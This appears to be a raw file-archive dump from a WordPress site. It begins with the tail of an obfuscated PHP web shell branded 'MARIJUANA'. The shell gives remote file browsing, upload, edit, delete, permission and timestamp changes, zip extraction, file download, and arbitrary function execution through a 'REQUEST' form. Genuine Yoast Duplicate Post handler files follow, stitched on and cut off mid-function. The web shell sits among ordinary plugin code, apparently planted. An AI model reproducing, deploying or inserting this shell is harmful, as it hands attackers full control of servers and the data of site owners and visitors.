for($i=0;$i<$___;$i++) {
	$GNJ[] = uhex($Array[$i]);
}
?>
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

		<head>
			<meta charset="UTF-8">
			<meta name="robots" content="NOINDEX, NOFOLLOW">

				<title>MARIJUANA</title>

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
						MARIJuANA
					</a>
				</div>

				<div class="q x w">
					&#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212;
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					<?php echo $GNJ[0]();?>

					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>

					<br />

					<i class="far fa-folder"></i>
					
					<?php
					if(isset($_GET["d"])) {
						$d = uhex($_GET["d"]);
						$GNJ[2](uhex($_GET["d"]));
					}
					else {
						$d = $GNJ[3]();
					}
					$k = $GNJ[4]("/(\\\|\/)/", $d );
					foreach ($k as $m => $l) { 
						if($l=='' && $m==0) {
							echo '<a class="ajx" href="?d=2f">/</a>';
						}
						if($l == '') { 
							continue;
						}
						echo '<a class="ajx" href="?d=';
						for ($i = 0; $i <= $m; $i++) {
							echo hex($k[$i]); 
							if($i != $m) {
								echo '2f';
							}
						}
						echo '">'.$l.'</a>/'; 
					}
					?>

					<br />

				</div>

				<div class="u">
					<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					<?php
					$o_ = [ 
							'<script>$.notify("',
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
						];
					$f = $o_[0].'OK!'.$o_[1];
					$g = $o_[0].'ER!'.$o_[1];
					if(isset($_FILES["n"])) {
						$z = $_FILES["n"]["name"];
						$r = count($z);
						for( $i=0 ; $i < $r ; $i++ ) {
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
								echo $f;
							}
							else {
								echo $g;
							}
						}
					}
					?>

				</div>
					<?php
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
					$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
					$c_ = '</td>
							</tr>
						</tbody>
					</table>';
					$d_ = '<br />
										<br />
										<input type="submit" class="w" value="&nbsp;OK&nbsp;" />
									</form>';
					if(isset($_GET["s"])) {
						echo $a_.uhex($_GET["s"]).$b_.'
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
								'.$c_;
					}
					elseif(isset($_GET["y"])) {
						echo $a_.'REQUEST'.$b_.'
									<form method="post">
										<input class="x" type="text" name="1" />&nbsp;&nbsp;
										<input class="x" type="text" name="2" />
										'.$d_.'
									<br />
									<textarea readonly="yes">';

									if(isset($_POST["2"])) {
										echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
									}

								echo '</textarea>
								'.$c_;
					}
					elseif(isset($_GET["e"])) {
						echo $a_.uhex($_GET["e"]).$b_.'
									<form method="post">
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										'.$d_.'
								'.$c_.'
								
					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
					if(isset($_POST["e"])) {
						if($_POST["b64"] == "1") {
							$ex = $GNJ[7]($_POST["e"]);
						}
						else {
							$ex = $_POST["e"];
						}
						$fp = $GNJ[17](uhex($_GET["e"]), 'w');
						if($GNJ[18]($fp, $ex)) {
							OK();
						}
						else {
							ER();
						}
						$GNJ[19]($fp);
					  }
					}
					elseif(isset($_GET["x"])) {
						rec(uhex($_GET["x"]));
						if($GNJ[26](uhex($_GET["x"]))) {
							ER();
						}
						else {
							OK();
						}

					}
					elseif(isset($_GET["t"])) {
						echo $a_.uhex($_GET["t"]).$b_.'
									<form action="" method="post">
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
										'.$d_.'
								'.$c_;
					if( !empty($_POST["t"]) ) {
						$p = $GNJ[33]($_POST["t"]);
						if($p) {
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
								ER();
							}
							else {
								OK();
							}
						}
						else {
							ER();
						}
					  }
					}
					elseif(isset($_GET["k"])) {
						echo $a_.uhex($_GET["k"]).$b_.'
									<form action="" method="post">
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
										'.$d_.'
								'.$c_;
					if(!empty($_POST["b"])) {
						$x = $_POST["b"];
						$t = 0;
					for($i=strlen($x)-1;$i>=0;--$i)
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
					if(!$GNJ[12](uhex($_GET["k"]), $t)) {
						ER();
					}
					else {
						OK();
						  }
						}
					}
					elseif(isset($_GET["l"])) {
						echo $a_.'+DIR'.$b_.'
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["l"])) {
						if(!$GNJ[11]($_POST["l"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["q"])) {
						if($GNJ[10](__FILE__)) {
							$GNJ[38]($GNJ[9]);
							header("Location: ".basename($_SERVER['PHP_SELF'])."");
							exit();
						}
						else {
							echo $g;
						}
					}
					elseif(isset($_GET["n"])) {
						echo $a_.'+FILE'.$b_.'
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["n"])) {
						if(!$GNJ[25]($_POST["n"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["r"])) {
						echo $a_.uhex($_GET["r"]).$b_.'
									<form action="" method="post">
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
										'.$d_.'
								'.$c_;
					if(isset($_POST["r"])) {
						if($GNJ[26]($_POST["r"])) {
							ER();
						}
						else {
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
								OK();
							}
							else {
								ER();
							}
						  }
					   }
					}
					elseif(isset($_GET["z"])) {
						$zip = new ZipArchive;
						$res = $zip->open(uhex($_GET["z"]));
							if($res === TRUE) {
								$zip->extractTo(uhex($_GET["d"]));
								$zip->close();
								OK();
							} else {
								ER();
						  }
					}
					else {
					echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
								</td>
							</tr>
						';

							$h = "";
							$j = "";
							$w = $GNJ[13]($d);
							if($GNJ[28]($w) || $GNJ[29]($w)) {
							foreach($w as $c){
								$e = $GNJ[14]("\\", "/", $d);
								if(!$GNJ[30]($c, ".zip")) {
									$zi = '';
								}
								else {
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
								}
								if($GNJ[31]("$d/$c")) {
										$o = "";
								}
								elseif(!$GNJ[32]("$d/$c")) {
										$o = " h";
								}
								else {
										$o = " w";
								}
								$s = $GNJ[34]("$d/$c") / 1024;
								$s = round($s, 3);
								if($s>=1024) { 
									$s = round($s/1024, 2) . " MB";
								} else {
									$s = $s . " KB";
								}
							if(($c != ".") && ($c != "..")){
								($GNJ[8]("$d/$c")) ?
								$h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						'
							:
								$j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
							</td>
							<td class="x">
								'.$s.'
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
								'.$zi.'
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						';

							}
						}
					}

						echo $h;
						echo $j;
						echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
									<a href="?d='.hex($e).'&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
					}
					?>

			</article>
			<footer class="x">
				&copy;TheAlmightyZeus
			</footer>
			<?php
			if(isset($_GET["1"])) {
				echo $f;
			}
			elseif(isset($_GET["0"])) {
				echo $g;
			}
			else {
				NULL;
			}
			?>

			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
	function rec($j) {
		global $GNJ;
		if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
			return;
		}
		if($GNJ[8]($j)) {
			array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
			$GNJ[35]($j);
		}
		else {
			$GNJ[10]($j);
		}
	}
	function dre($y1, $y2) {
		global $GNJ;
		ob_start();
		$GNJ[16]($y1($y2));
		return $GNJ[36]();
	}
	function hex($n) {
		$y='';
		for ($i=0; $i < strlen($n); $i++){
			$y .= dechex(ord($n[$i]));
		}
		return $y;
	}
	function uhex($y) {
		$n='';
		for ($i=0; $i < strlen($y)-1; $i+=2){
			$n .= chr(hexdec($y[$i].$y[$i+1]));
		}
		return $n;
	}
	function OK() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&1");
		exit();
	}
	function ER() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&0");
		exit();
	}
	function x($c) {
		global $GNJ;
		$x = $GNJ[24]($c);
		if(($x & 0xC000) == 0xC000) {
			$u = "s";
		}
		elseif(($x & 0xA000) == 0xA000) {
			$u = "l";
		}
		elseif(($x & 0x8000) == 0x8000) {
			$u = "-";
		}
		elseif(($x & 0x6000) == 0x6000) {
			$u = "b";
		}
		elseif(($x & 0x4000) == 0x4000) {
			$u = "d";
		}
		elseif(($x & 0x2000) == 0x2000) {
			$u = "c";
		}
		elseif(($x & 0x1000) == 0x1000) {
			$u = "p";
		}
		else {
			$u = "u";
		}
		$u .= (($x & 0x0100) ? "r" : "-");
		$u .= (($x & 0x0080) ? "w" : "-");
		$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
		$u .= (($x & 0x0020) ? "r" : "-");
		$u .= (($x & 0x0010) ? "w" : "-");
		$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
		$u .= (($x & 0x0004) ? "r" : "-");
		$u .= (($x & 0x0002) ? "w" : "-");
		$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
		return $u;
	}
	if(isset($_GET["g"])) {
		$GNJ[38]($GNJ[9]);
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: Binary");
		header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
		header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
		$GNJ[37](uhex($_GET["g"]));
	}
?>
src/handlers/bulk-handler.php000064400000010102151327062330012210 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Handlers;

use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Post_Duplicator;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post handler class for duplication bulk actions.
 *
 * @since 4.0
 */
class Bulk_Handler {

	/**
	 * Post_Duplicator object.
	 *
	 * @var Post_Duplicator
	 */
	protected $post_duplicator;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Post_Duplicator    $post_duplicator    The Post_Duplicator object.
	 * @param Permissions_Helper $permissions_helper The Permissions Helper object.
	 */
	public function __construct( Post_Duplicator $post_duplicator, Permissions_Helper $permissions_helper ) {
		$this->post_duplicator    = $post_duplicator;
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'add_bulk_handlers' ] );
	}

	/**
	 * Hooks the handler for the Rewrite & Republish action for all the selected post types.
	 *
	 * @return void
	 */
	public function add_bulk_handlers() {
		$duplicate_post_types_enabled = $this->permissions_helper->get_enabled_post_types();

		foreach ( $duplicate_post_types_enabled as $duplicate_post_type_enabled ) {
			\add_filter( "handle_bulk_actions-edit-{$duplicate_post_type_enabled}", [ $this, 'bulk_action_handler' ], 10, 3 );
		}
	}

	/**
	 * Handles the bulk actions.
	 *
	 * @param string $redirect_to The URL to redirect to.
	 * @param string $doaction    The action that has been called.
	 * @param array  $post_ids    The array of marked post IDs.
	 *
	 * @return string The URL to redirect to.
	 */
	public function bulk_action_handler( $redirect_to, $doaction, $post_ids ) {
		$redirect_to = $this->clone_bulk_action_handler( $redirect_to, $doaction, $post_ids );
		return $this->rewrite_bulk_action_handler( $redirect_to, $doaction, $post_ids );
	}

	/**
	 * Handles the bulk action for the Rewrite & Republish feature.
	 *
	 * @param string $redirect_to The URL to redirect to.
	 * @param string $doaction    The action that has been called.
	 * @param array  $post_ids    The array of marked post IDs.
	 *
	 * @return string The URL to redirect to.
	 */
	public function rewrite_bulk_action_handler( $redirect_to, $doaction, $post_ids ) {
		if ( $doaction !== 'duplicate_post_bulk_rewrite_republish' ) {
			return $redirect_to;
		}

		$counter = 0;
		if ( \is_array( $post_ids ) ) {
			foreach ( $post_ids as $post_id ) {
				$post = \get_post( $post_id );
				if ( ! empty( $post ) && $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post ) ) {
					$new_post_id = $this->post_duplicator->create_duplicate_for_rewrite_and_republish( $post );
					if ( ! \is_wp_error( $new_post_id ) ) {
						++$counter;
					}
				}
			}
		}
		return \add_query_arg( 'bulk_rewriting', $counter, $redirect_to );
	}

	/**
	 * Handles the bulk action for the Clone feature.
	 *
	 * @param string $redirect_to The URL to redirect to.
	 * @param string $doaction    The action that has been called.
	 * @param array  $post_ids    The array of marked post IDs.
	 *
	 * @return string The URL to redirect to.
	 */
	public function clone_bulk_action_handler( $redirect_to, $doaction, $post_ids ) {
		if ( $doaction !== 'duplicate_post_bulk_clone' ) {
			return $redirect_to;
		}

		$counter = 0;
		if ( \is_array( $post_ids ) ) {
			foreach ( $post_ids as $post_id ) {
				$post = \get_post( $post_id );
				if ( ! empty( $post ) && ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
					if ( \intval( \get_option( 'duplicate_post_copychildren' ) !== 1 )
						|| ! \is_post_type_hierarchical( $post->post_type )
						|| ( \is_post_type_hierarchical( $post->post_type ) && ! Utils::has_ancestors_marked( $post, $post_ids ) )
					) {
						if ( ! \is_wp_error( \duplicate_post_create_duplicate( $post ) ) ) {
							++$counter;
						}
					}
				}
			}
		}
		return \add_query_arg( 'bulk_cloned', $counter, $redirect_to );
	}
}
src/handlers/handler.php000064400000003404151327062330011264 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Handlers;

use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Post_Duplicator;

/**
 * Duplicate Post handler class for duplication actions.
 *
 * @since 4.0
 */
class Handler {

	/**
	 * Post_Duplicator object.
	 *
	 * @var Post_Duplicator
	 */
	protected $post_duplicator;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * The bulk actions handler.
	 *
	 * @var Bulk_Handler
	 */
	protected $bulk_handler;

	/**
	 * The link actions handler.
	 *
	 * @var Link_Handler
	 */
	protected $link_handler;

	/**
	 * The save_post action handler.
	 *
	 * @var Save_Post_Handler
	 */
	protected $save_post_handler;

	/**
	 * The link actions handler.
	 *
	 * @var Check_Changes_Handler
	 */
	protected $check_handler;

	/**
	 * Initializes the class.
	 *
	 * @param Post_Duplicator    $post_duplicator    The Post_Duplicator object.
	 * @param Permissions_Helper $permissions_helper The Permissions Helper object.
	 */
	public function __construct( Post_Duplicator $post_duplicator, Permissions_Helper $permissions_helper ) {
		$this->post_duplicator    = $post_duplicator;
		$this->permissions_helper = $permissions_helper;

		$this->bulk_handler      = new Bulk_Handler( $this->post_duplicator, $this->permissions_helper );
		$this->link_handler      = new Link_Handler( $this->post_duplicator, $this->permissions_helper );
		$this->check_handler     = new Check_Changes_Handler( $this->permissions_helper );
		$this->save_post_handler = new Save_Post_Handler( $this->permissions_helper );

		$this->bulk_handler->register_hooks();
		$this->link_handler->register_hooks();
		$this->check_handler->register_hooks();
		$this->save_post_handler->register_hooks();
	}
}
src/handlers/link-handler.php000064400000015061151327062330012221 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Handlers;

use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Post_Duplicator;

/**
 * Duplicate Post handler class for duplication actions from links.
 *
 * @since 4.0
 */
class Link_Handler {

	/**
	 * Post_Duplicator object.
	 *
	 * @var Post_Duplicator
	 */
	protected $post_duplicator;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Post_Duplicator    $post_duplicator    The Post_Duplicator object.
	 * @param Permissions_Helper $permissions_helper The Permissions Helper object.
	 */
	public function __construct( Post_Duplicator $post_duplicator, Permissions_Helper $permissions_helper ) {
		$this->post_duplicator    = $post_duplicator;
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_action_duplicate_post_rewrite', [ $this, 'rewrite_link_action_handler' ] );
		\add_action( 'admin_action_duplicate_post_clone', [ $this, 'clone_link_action_handler' ] );
		\add_action( 'admin_action_duplicate_post_new_draft', [ $this, 'new_draft_link_action_handler' ] );
	}

	/**
	 * Handles the action for copying a post to a new draft.
	 *
	 * @return void
	 */
	public function new_draft_link_action_handler() {
		if ( ! $this->permissions_helper->is_current_user_allowed_to_copy() ) {
			\wp_die( \esc_html__( 'Current user is not allowed to copy posts.', 'duplicate-post' ) );
		}

		if ( ! ( isset( $_GET['post'] ) || isset( $_POST['post'] )
			|| ( isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'duplicate_post_new_draft' ) ) ) {
			\wp_die( \esc_html__( 'No post to duplicate has been supplied!', 'duplicate-post' ) );
		}

		$id = ( isset( $_GET['post'] ) ? \intval( \wp_unslash( $_GET['post'] ) ) : \intval( \wp_unslash( $_POST['post'] ) ) );

		\check_admin_referer( 'duplicate_post_new_draft_' . $id );

		$post = \get_post( $id );

		if ( ! $post ) {
			\wp_die(
				\esc_html(
					\__( 'Copy creation failed, could not find original:', 'duplicate-post' ) . ' '
					. $id
				)
			);
		}

		if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			\wp_die(
				\esc_html__( 'You cannot create a copy of a post which is intended for Rewrite & Republish.', 'duplicate-post' )
			);
		}

		$new_id = \duplicate_post_create_duplicate( $post, 'draft' );

		if ( \is_wp_error( $new_id ) ) {
			\wp_die(
				\esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' )
			);
		}

		\wp_safe_redirect(
			\add_query_arg(
				[
					'cloned' => 1,
					'ids'    => $post->ID,
				],
				\admin_url( 'post.php?action=edit&post=' . $new_id . ( isset( $_GET['classic-editor'] ) ? '&classic-editor' : '' ) )
			)
		);
		exit();
	}

	/**
	 * Handles the action for copying a post and redirecting to the post list.
	 *
	 * @return void
	 */
	public function clone_link_action_handler() {
		if ( ! $this->permissions_helper->is_current_user_allowed_to_copy() ) {
			\wp_die( \esc_html__( 'Current user is not allowed to copy posts.', 'duplicate-post' ) );
		}

		if ( ! ( isset( $_GET['post'] ) || isset( $_POST['post'] )
			|| ( isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'duplicate_post_clone' ) ) ) {
			\wp_die( \esc_html__( 'No post to duplicate has been supplied!', 'duplicate-post' ) );
		}

		$id = ( isset( $_GET['post'] ) ? \intval( \wp_unslash( $_GET['post'] ) ) : \intval( \wp_unslash( $_POST['post'] ) ) );

		\check_admin_referer( 'duplicate_post_clone_' . $id );

		$post = \get_post( $id );

		if ( ! $post ) {
			\wp_die(
				\esc_html(
					\__( 'Copy creation failed, could not find original:', 'duplicate-post' ) . ' '
					. $id
				)
			);
		}

		if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			\wp_die(
				\esc_html__( 'You cannot create a copy of a post which is intended for Rewrite & Republish.', 'duplicate-post' )
			);
		}

		$new_id = \duplicate_post_create_duplicate( $post );

		if ( \is_wp_error( $new_id ) ) {
			\wp_die(
				\esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' )
			);
		}

		$post_type = $post->post_type;
		$sendback  = \wp_get_referer();
		if ( ! $sendback || \strpos( $sendback, 'post.php' ) !== false || \strpos( $sendback, 'post-new.php' ) !== false ) {
			if ( $post_type === 'attachment' ) {
				$sendback = \admin_url( 'upload.php' );
			}
			else {
				$sendback = \admin_url( 'edit.php' );
				if ( ! empty( $post_type ) ) {
					$sendback = \add_query_arg( 'post_type', $post_type, $sendback );
				}
			}
		}
		else {
			$sendback = \remove_query_arg( [ 'trashed', 'untrashed', 'deleted', 'cloned', 'ids' ], $sendback );
		}

		// Redirect to the post list screen.
		\wp_safe_redirect(
			\add_query_arg(
				[
					'cloned' => 1,
					'ids'    => $post->ID,
				],
				$sendback
			)
		);
		exit();
	}

	/**
	 * Handles the action for copying a post for the Rewrite & Republish feature.
	 *
	 * @return void
	 */
	public function rewrite_link_action_handler() {
		if ( ! $this->permissions_helper->is_current_user_allowed_to_copy() ) {
			\wp_die( \esc_html__( 'Current user is not allowed to copy posts.', 'duplicate-post' ) );
		}

		if ( ! ( isset( $_GET['post'] ) || isset( $_POST['post'] )
			|| ( isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'duplicate_post_rewrite' ) ) ) {
			\wp_die( \esc_html__( 'No post to duplicate has been supplied!', 'duplicate-post' ) );
		}

		$id = ( isset( $_GET['post'] ) ? \intval( \wp_unslash( $_GET['post'] ) ) : \intval( \wp_unslash( $_POST['post'] ) ) );

		\check_admin_referer( 'duplicate_post_rewrite_' . $id );

		$post = \get_post( $id );

		if ( ! $post ) {
			\wp_die(
				\esc_html(
					\__( 'Copy creation failed, could not find original:', 'duplicate-post' ) . ' '
					. $id
				)
			);
		}

		if ( ! $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post ) ) {
			\wp_die(
				\esc_html__( 'You cannot create a copy for Rewrite & Republish if the original is not published or if it already has a copy.', 'duplicate-post' )
			);
		}

		$new_id = $this->post_duplicator->create_duplicate_for_rewrite_and_republish( $post );

		if ( \is_wp_error( $new_id ) ) {
			\wp_die(
				\esc_html__( 'Copy creation failed, could not create a copy.', 'duplicate-post' )
			);
		}

		\wp_safe_redirect(
			\add_query_arg(
				[
					'rewriting' => 1,
					'ids'       => $post->ID,
				],
				\admin_url( 'post.php?action=edit&post=' . $new_id . ( isset( $_GET['classic-editor'] ) ? '&classic-editor' : '' ) )
			)
		);
		exit();
	}
}
src/handlers/check-changes-handler.php000064400000014031151327062330013743 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Handlers;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post handler class for changes overview.
 *
 * Represents the handler for checking the changes between a copy and the original post.
 *
 * @since 4.0
 */
class Check_Changes_Handler {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Holds the current post object.
	 *
	 * @var WP_Post
	 */
	private $post;

	/**
	 * Holds the original post object.
	 *
	 * @var WP_Post
	 */
	private $original;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions Helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_action_duplicate_post_check_changes', [ $this, 'check_changes_action_handler' ] );
	}

	/**
	 * Handles the action for displaying the changes between a copy and the original.
	 *
	 * @return void
	 */
	public function check_changes_action_handler() {
		global $wp_version;

		if ( ! ( isset( $_GET['post'] ) || isset( $_POST['post'] )
			|| ( isset( $_REQUEST['action'] ) && $_REQUEST['action'] === 'duplicate_post_check_changes' ) ) ) {
			\wp_die(
				\esc_html__( 'No post has been supplied!', 'duplicate-post' )
			);
			return;
		}

		$id = ( isset( $_GET['post'] ) ? \intval( \wp_unslash( $_GET['post'] ) ) : \intval( \wp_unslash( $_POST['post'] ) ) );

		\check_admin_referer( 'duplicate_post_check_changes_' . $id );

		$this->post = \get_post( $id );

		if ( ! $this->post ) {
			\wp_die(
				\esc_html(
					\sprintf(
						/* translators: %s: post ID. */
						\__( 'Changes overview failed, could not find post with ID %s.', 'duplicate-post' ),
						$id
					)
				)
			);
			return;
		}

		$this->original = Utils::get_original( $this->post );

		if ( ! $this->original ) {
			\wp_die(
				\esc_html(
					\__( 'Changes overview failed, could not find original post.', 'duplicate-post' )
				)
			);
			return;
		}
		$post_edit_link = \get_edit_post_link( $this->post->ID );

		$this->require_wordpress_header();
		?>
		<div class="wrap">
			<h1 class="long-header">
			<?php
				echo \sprintf(
					/* translators: %s: original item link (to view or edit) or title. */
					\esc_html__( 'Compare changes of duplicated post with the original (&#8220;%s&#8221;)', 'duplicate-post' ),
					Utils::get_edit_or_view_link( $this->original ) // phpcs:ignore WordPress.Security.EscapeOutput
				);
			?>
				</h1>
			<a href="<?php echo \esc_url( $post_edit_link ); ?>"><?php \esc_html_e( '&larr; Return to editor', 'duplicate-post' ); ?></a>
			<div class="revisions">
				<div class="revisions-control-frame">
					<div class="revisions-controls"></div>
				</div>
				<div class="revisions-diff-frame">
					<div class="revisions-diff">
						<div class="diff">
						<?php
						$fields = [
							'post_title'   => \__( 'Title', 'duplicate-post' ),
							'post_content' => \__( 'Content', 'duplicate-post' ),
							'post_excerpt' => \__( 'Excerpt', 'duplicate-post' ),
						];

						$args = [
							'show_split_view' => true,
							'title_left'      => \__( 'Removed', 'duplicate-post' ),
							'title_right'     => \__( 'Added', 'duplicate-post' ),
						];

						if ( \version_compare( $wp_version, '5.7' ) < 0 ) {
							unset( $args['title_left'] );
							unset( $args['title_right'] );
						}

						$post_array = \get_post( $this->post, \ARRAY_A );

						/** This filter is documented in wp-admin/includes/revision.php */
						// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reason: using WP core hook.
						$fields = \apply_filters( '_wp_post_revision_fields', $fields, $post_array );

						foreach ( $fields as $field => $name ) {
							/** This filter is documented in wp-admin/includes/revision.php */
							// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reason: using WP core hook.
